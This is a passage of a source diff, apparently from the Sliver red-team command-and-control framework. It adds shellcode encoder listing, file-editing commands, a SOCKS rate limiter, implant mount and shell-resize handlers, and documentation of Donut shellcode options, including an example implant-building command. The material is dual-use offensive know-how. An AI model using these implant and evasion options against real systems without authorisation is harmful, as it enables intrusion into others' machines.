+// DisplayShellcodeEncoders - Display shellcode encoder map from server.
+func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
+	if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
+		con.PrintInfof("No shellcode encoders available\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
+	tw.SortBy([]table.SortBy{
+		{Name: "Arch", Mode: table.Asc},
+		{Name: "Encoder", Mode: table.Asc},
+	})
+
+	arches := make([]string, 0, len(encoderMap.GetEncoders()))
+	for arch := range encoderMap.GetEncoders() {
+		arches = append(arches, arch)
+	}
+	sort.Strings(arches)
+
+	for _, arch := range arches {
+		archMap := encoderMap.GetEncoders()[arch]
+		if archMap == nil {
+			continue
+		}
+		names := make([]string, 0, len(archMap.GetEncoders()))
+		for name := range archMap.GetEncoders() {
+			names = append(names, name)
+		}
+		sort.Strings(names)
+		for _, name := range names {
+			desc := archMap.GetDescriptions()[name]
+			tw.AppendRow(table.Row{arch, name, desc})
+		}
+	}
+
+	con.Println(tw.Render())
+}

client/command/sliver.go

@@ -27,6 +27,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
+	"github.com/bishopfox/sliver/client/command/edit"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
 	"github.com/bishopfox/sliver/client/command/extensions"
@@ -48,6 +49,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/wasm"
 	"github.com/bishopfox/sliver/client/command/wireguard"
+	"github.com/bishopfox/sliver/client/command/hexedit"
 	client "github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/reeflective/console"
@@ -63,6 +65,10 @@ func SliverCommands(con *client.SliverClient) console.Commands {
 				HiddenDefaultCmd: true,
 			},
 		}
+		if !con.IsCLI {
+			sliver.SilenceErrors = true
+			sliver.SilenceUsage = true
+		}
 
 		// Utility function to be used for binding new commands to
 		// the sliver menu: call the function with the name of the
@@ -79,7 +85,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
 			// use.Commands,
 			tasks.Commands,
 			pivots.Commands,
-      aka.ImplantCommands,
+			aka.ImplantCommands,
 		)
 
 		// [ Info ]
@@ -94,6 +100,8 @@ func SliverCommands(con *client.SliverClient) console.Commands {
 
 		// [ Filesystem ]
 		bind(consts.FilesystemHelpGroup,
+			edit.Commands,
+			hexedit.Commands,
 			filesystem.Commands,
 		)
 

client/constants/constants.go

@@ -220,6 +220,8 @@ const (
 	CdStr       = "cd"
 	PwdStr      = "pwd"
 	CatStr      = "cat"
+	EditStr     = "edit"
+	HexEditStr  = "hex-edit"
 	DownloadStr = "download"
 	HeadStr     = "head"
 	TailStr     = "tail"
@@ -297,7 +299,8 @@ const (
 	GetPrivsStr = "getprivs"
 	ConnectStr  = "connect"
 
-	ShikataGaNai = "shikata-ga-nai"
+	ShikataGaNai         = "shikata-ga-nai"
+	ShellcodeEncodersStr = "shellcode-encoders"
 
 	Cursed         = "cursed"
 	CursedChrome   = "chrome"

client/core/socks.go

@@ -31,6 +31,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/leaky"
+	"golang.org/x/time/rate"
 )
 
 var (
@@ -210,6 +211,8 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
 var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
 
 func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
+	// Client Rate Limiter: 10 operations per second, burst of 1
+	limiter := rate.NewLimiter(rate.Limit(10), 1)
 
 	SocksConnPool.Store(frame.TunnelID, conn)
 
@@ -241,6 +244,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 			return
 		}
 		if n > 0 {
+			if err := limiter.Wait(context.Background()); err != nil {
+				log.Printf("[socks] rate limiter error: %s", err)
+				return
+			}
+
 			frame.Data = buff[:n]
 			frame.Sequence = ToImplantSequence
 			log.Printf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))

client/forms/generate_targets.go

@@ -64,6 +64,8 @@ func commonFormatOptions(goos string) []huh.Option[string] {
 			huh.NewOption("Service", "service"),
 			huh.NewOption("Shellcode", "shellcode"),
 		)
+	} else if goos == "darwin" {
+		options = append(options, huh.NewOption("Shellcode", "shellcode"))
 	}
 	return options
 }

docs/sliver-docs/pages/docs/md/Notifications.md

@@ -39,7 +39,7 @@
   - [Viber](/docs?name=Notifications#viber)
   - [Web Push](/docs?name=Notifications#web-push)
   - [WeChat](/docs?name=Notifications#wechat)
-- [WhatsApp](/docs?name=Notifications#whatsapp)
+  - [WhatsApp](/docs?name=Notifications#whatsapp)
 - [Custom Templates](/docs?name=Notifications#custom-templates)
 - [Notes](/docs?name=Notifications#notes)
 

docs/sliver-docs/pages/docs/md/Stagers.md

@@ -33,6 +33,23 @@ Name           Platform       Command & Control              Debug  Format
 win-shellcode  windows/amd64  [1] mtls://192.168.122.1:8888  false  SHELLCODE   enabled
 ```
 
+You can tune shellcode options for shellcode profiles (Windows: Donut):
+
+- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt
+- `--shellcode-compress`: enable/disable aPLib compression (boolean)
+- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block
+- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue
+- `--shellcode-headers`: 1=overwrite, 2=keep
+- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
+- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
+- `--shellcode-oep`: override original entry point (uint32, 0=default)
+
+Example:
+
+```
+sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
+```
+
 We can now create a staging listener and link it to the profile:
 
 ```

docs/sliver-docs/public/asciinema/create_profile.cast

@@ -138,7 +138,7 @@
 [14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
 [14.182566, "o", "\u001b[0 q\r\n"]
 [14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
-[14.198714, "o", "Usage:\r\n   profiles new [flags]\r\n   profiles new [command]\r\n\r\nAvailable Commands:\r\n  beacon      Create a new implant profile (beacon)\r\n\r\nFlags:\r\n  -a, --arch string               cpu architecture (default \"amd64\")\r\n  -C, --c2profile string          HTTP C2 profile to use (default \"default\")\r\n  -c, --canary string             canary domain(s)\r\n  -d, --debug                     enable debug features\r\n  -O, --debug-file string         path to debug output\r\n  -G, --disable-sgn               disable shikata ga nai shellcode encoder\r\n  -n, --dns string                dns connection strings\r\n  -e, --evasion                   enable evasion features (e.g. overwrite user space hooks)\r\n  -E, --external-builder          use an external builder\r\n  -f, --format psexec             Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n  -h, --help                      help for new\r\n  -b, --http string   "]
+[14.198714, "o", "Usage:\r\n   profiles new [flags]\r\n   profiles new [command]\r\n\r\nAvailable Commands:\r\n  beacon      Create a new implant profile (beacon)\r\n\r\nFlags:\r\n  -a, --arch string               cpu architecture (default \"amd64\")\r\n  -C, --c2profile string          HTTP C2 profile to use (default \"default\")\r\n  -c, --canary string             canary domain(s)\r\n  -d, --debug                     enable debug features\r\n  -O, --debug-file string         path to debug output\r\n      --shellcode-encoder string  shellcode encoder to apply (optional; see shellcode-encoders)\r\n  -n, --dns string                dns connection strings\r\n  -e, --evasion                   enable evasion features (e.g. overwrite user space hooks)\r\n  -E, --external-builder          use an external builder\r\n  -f, --format psexec             Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n  -h, --help                      help for new\r\n  -b, --http string   "]
 [14.200627, "o", "            http(s) connection strings\r\n  -X, --key-exchange uint32       wg key-exchange port (default 1337)\r\n  -w, --limit-datetime string     limit execution to before datetime\r\n  -x, --limit-domainjoined        limit execution to domain joined machines\r\n  -F, --limit-fileexists string   limit execution to hosts with this file in the filesystem\r\n  -z, --limit-hostname string     limit execution to specified hostname\r\n  -L, --limit-locale string       limit execution to hosts that match this locale\r\n  -y, --limit-username string     limit execution to specified username\r\n  -k, --max-errors uint32         max number of connection errors (default 1000)\r\n  -m, --mtls string               mtls connection strings\r\n  -N, --name string               agent name\r\n  -p, --named-pipe string         named-pipe connection strings\r\n  -q, --netgo                     force the use of netgo\r\n  -o, --os string                 operating system (default \"windows\")\r\n  -P, --poll-timeout int          long poll request timeout (d"]
 [14.201749, "o", "efault 360)\r\n  -j, --reconnect int             attempt to reconnect every n second(s) (default 60)\r\n  -R, --run-at-load               run the implant entrypoint from DllMain/Constructor (shared library only)\r\n  -s, --save string               directory/file to the binary to\r\n  -l, --skip-symbols              skip symbol obfuscation\r\n  -Z, --strategy string           specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n  -T, --tcp-comms uint32          wg c2 comms port (default 8888)\r\n  -i, --tcp-pivot string          tcp-pivot connection strings\r\n  -I, --template string           implant code template (default \"sliver\")\r\n  -A, --traffic-encoders string   comma separated list of traffic encoders to enable\r\n  -g, --wg string                 wg connection strings\r\n\r\nGlobal Flags:\r\n  -t, --timeout int   grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
 [14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
@@ -623,7 +623,7 @@
 [44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
 [44.608789, "o", "\u001b[0 q\r\n"]
 [44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
-[44.629236, "o", "Usage:\r\n   profiles generate [flags]\r\n\r\nFlags:\r\n  -G, --disable-sgn   disable shikata ga nai shellcode encoder\r\n  -h, --help          help for generate\r\n  -s, --save string   directory/file to the binary to\r\n\r\nGlobal Flags:\r\n  -t, --timeout int   grpc timeout in seconds (default 60)\r\n\r\n"]
+[44.629236, "o", "Usage:\r\n   profiles generate [flags]\r\n\r\nFlags:\r\n      --shellcode-encoder string  shellcode encoder to apply (optional; see shellcode-encoders)\r\n  -h, --help                      help for generate\r\n  -s, --save string               directory/file to the binary to\r\n\r\nGlobal Flags:\r\n  -t, --timeout int   grpc timeout in seconds (default 60)\r\n\r\n"]
 [44.630687, "o", "\r\n"]
 [44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
 [44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]

go-tests.sh

@@ -98,6 +98,13 @@ else
     exit 1
 fi
 
+# implant / sliver / transports / wireguard
+if go test ./implant/sliver/transports/wireguard ; then
+    :
+else
+    exit 1
+fi
+
 ## Server
 
 # server / assets / traffic encoders
@@ -146,8 +153,16 @@ else
     exit 1
 fi
 
-# server / sgn
-if go test -tags=server,$TAGS ./server/sgn ; then
+# server / encoders / shellcode / sgn
+if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
+    :
+else
+    cat ~/.sliver/logs/sliver.log
+    exit 1
+fi
+
+# server / encoders / shellcode / arm64
+if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -178,6 +193,17 @@ else
     exit 1
 fi
 
+# server / c2 / e2e (mtls + wg + yamux)
+SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
+if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
+    :
+else
+    cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
+    rm -rf "$SLIVER_ROOT_DIR_E2E"
+    exit 1
+fi
+rm -rf "$SLIVER_ROOT_DIR_E2E"
+
 # server / configs
 if go test -tags=server,$TAGS ./server/configs ; then
     :

go.mod

@@ -1,6 +1,6 @@
 module github.com/bishopfox/sliver
 
-go 1.25.5
+go 1.25.6
 
 replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
 
@@ -12,11 +12,11 @@ require (
 	filippo.io/age v1.3.1
 	github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
 	github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
-	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
 	github.com/Ne0nd0g/go-clr v1.0.3
 	github.com/SherClockHolmes/webpush-go v1.4.0
 	github.com/alecthomas/chroma v0.10.0
+	github.com/alecthomas/chroma/v2 v2.23.1
 	github.com/charmbracelet/huh v0.8.0
 	github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
 	github.com/charmbracelet/lipgloss v1.1.0
@@ -30,6 +30,7 @@ require (
 	github.com/google/uuid v1.6.0
 	github.com/gorilla/mux v1.8.1
 	github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
+	github.com/hashicorp/yamux v0.1.2
 	github.com/jedib0t/go-pretty/v6 v6.7.8
 	github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
 	github.com/klauspost/compress v1.18.1
@@ -46,6 +47,8 @@ require (
 	github.com/reeflective/readline v1.1.4
 	github.com/rsteube/carapace v0.50.2
 	github.com/sirupsen/logrus v1.9.3
+	github.com/sliverarmory/beignet v0.0.2
+	github.com/sliverarmory/wasm-donut v0.0.3
 	github.com/spf13/cobra v1.10.2
 	github.com/spf13/pflag v1.0.10
 	github.com/stretchr/testify v1.11.1
@@ -219,9 +222,9 @@ require (
 	github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
 	github.com/catppuccin/go v0.3.0 // indirect
 	github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
-	github.com/charmbracelet/bubbletea v1.3.10 // indirect
+	github.com/charmbracelet/bubbletea v1.3.10
 	github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
-	github.com/charmbracelet/x/ansi v0.10.1 // indirect
+	github.com/charmbracelet/x/ansi v0.10.1
 	github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
 	github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
 	github.com/charmbracelet/x/term v0.2.1 // indirect
@@ -273,7 +276,7 @@ require (
 	github.com/mdlayher/socket v0.5.1 // indirect
 	github.com/mitchellh/go-ps v1.0.0 // indirect
 	github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
-	github.com/moloch--/go-keystone v0.0.2 // indirect
+	github.com/moloch--/go-keystone v0.0.2
 	github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
 	github.com/muesli/cancelreader v0.2.2 // indirect
 	github.com/muesli/termenv v0.16.0 // indirect
@@ -300,7 +303,7 @@ require (
 	go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
 	golang.org/x/oauth2 v0.34.0 // indirect
 	golang.org/x/sync v0.19.0 // indirect
-	golang.org/x/time v0.14.0 // indirect
+	golang.org/x/time v0.14.0
 	golang.org/x/tools v0.40.0 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
 	golang.zx2c4.com/wireguard/windows v0.5.3 // indirect

go.sum

@@ -43,8 +43,6 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
 github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
 github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
 github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
-github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
-github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
 github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
@@ -84,8 +82,14 @@ github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAU
 github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
 github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
 github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
+github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0=
+github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
 github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
 github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
+github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
+github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
+github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs=
+github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
 github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
@@ -397,7 +401,6 @@ github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC
 github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
 github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
 github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
 github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAVrGgAa0f2/R35S4DJwfFaUPFQ=
@@ -420,8 +423,12 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
 github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
 github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
 github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
+github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
 github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
 github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
+github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
+github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
 github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
 github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
 github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
@@ -656,6 +663,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
 github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
 github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
 github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
+github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
+github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
+github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
+github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
 github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
 github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
 github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=

implant/go-mod

@@ -7,6 +7,7 @@ require (
 	github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
 	github.com/Ne0nd0g/go-clr v1.0.3
 	github.com/gofrs/uuid v4.0.0+incompatible
+	github.com/hashicorp/yamux v0.1.2
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/miekg/dns v1.1.50

implant/go-sum

@@ -27,6 +27,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
 github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
 github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
 github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
+github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
 github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
 github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=

implant/sliver/cryptography/minisign_raw.go

@@ -0,0 +1,43 @@
+package cryptography
+
+import (
+	"encoding/binary"
+
+	"golang.org/x/crypto/blake2b"
+	"golang.org/x/crypto/ed25519"
+)
+
+// MinisignVerifyRaw - Verify a fixed-length raw minisign signature (binary) using
+// the server's bundled minisign public key.
+func MinisignVerifyRaw(message []byte, rawSig []byte) bool {
+	if len(rawSig) != RawSigSize {
+		return false
+	}
+
+	serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
+	if err != nil {
+		return false
+	}
+
+	algorithm := binary.LittleEndian.Uint16(rawSig[:2])
+	keyID := binary.LittleEndian.Uint64(rawSig[2:10])
+	if keyID != serverPublicKey.ID() {
+		return false
+	}
+
+	switch algorithm {
+	case EdDSA:
+		// Verify as-is.
+	case HashEdDSA:
+		digest := blake2b.Sum512(message)
+		message = digest[:]
+	default:
+		return false
+	}
+
+	signature := rawSig[10:]
+	if len(signature) != ed25519.SignatureSize {
+		return false
+	}
+	return ed25519.Verify(ed25519.PublicKey(serverPublicKey.PublicKey[:]), message, signature)
+}

implant/sliver/handlers/handlers_darwin.go

@@ -25,6 +25,7 @@ import (
 	"syscall"
 
 	"github.com/bishopfox/sliver/implant/sliver/extension"
+	"github.com/bishopfox/sliver/implant/sliver/mount"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 	"google.golang.org/protobuf/proto"
@@ -56,6 +57,7 @@ var (
 		pb.MsgNetstatReq:    netstatHandler,
 
 		pb.MsgSideloadReq: sideloadHandler,
+		pb.MsgMountReq:    mountHandler,
 
 		pb.MsgReconfigureReq: reconfigureHandler,
 		pb.MsgSSHCommandReq:  runSSHCommandHandler,
@@ -154,6 +156,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func mountHandler(data []byte, resp RPCResponse) {
+	mountReq := &pb.MountReq{}
+	err := proto.Unmarshal(data, mountReq)
+	if err != nil {
+		return
+	}
+
+	mountData, err := mount.GetMountInformation()
+	mountResp := &pb.Mount{
+		Info:     mountData,
+		Response: &commonpb.Response{},
+	}
+
+	if err != nil {
+		mountResp.Response.Err = err.Error()
+	}
+
+	data, err = proto.Marshal(mountResp)
+	resp(data, err)
+}
+
 func getUid(fileInfo os.FileInfo) string {
 	uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
 	uid_str := strconv.FormatUint(uint64(uid), 10)

implant/sliver/handlers/tun.go

@@ -32,7 +32,8 @@ var (
 	tunnelHandlers = map[uint32]TunnelHandler{
 
 		// Interactive shell tunnels
-		sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
+		sliverpb.MsgShellReq:       tunnel_handlers.ShellReqHandler,
+		sliverpb.MsgShellResizeReq: tunnel_handlers.ShellResizeReqHandler,
 
 		// Network tunnels
 		sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,

implant/sliver/handlers/tunnel_handlers/shell_handler.go

@@ -51,7 +51,15 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 	}
 
 	shellPath := shell.GetSystemShellPath(shellReq.Path)
-	systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
+	rows := shellReq.GetRows()
+	cols := shellReq.GetCols()
+	if rows > 0xffff {
+		rows = 0xffff
+	}
+	if cols > 0xffff {
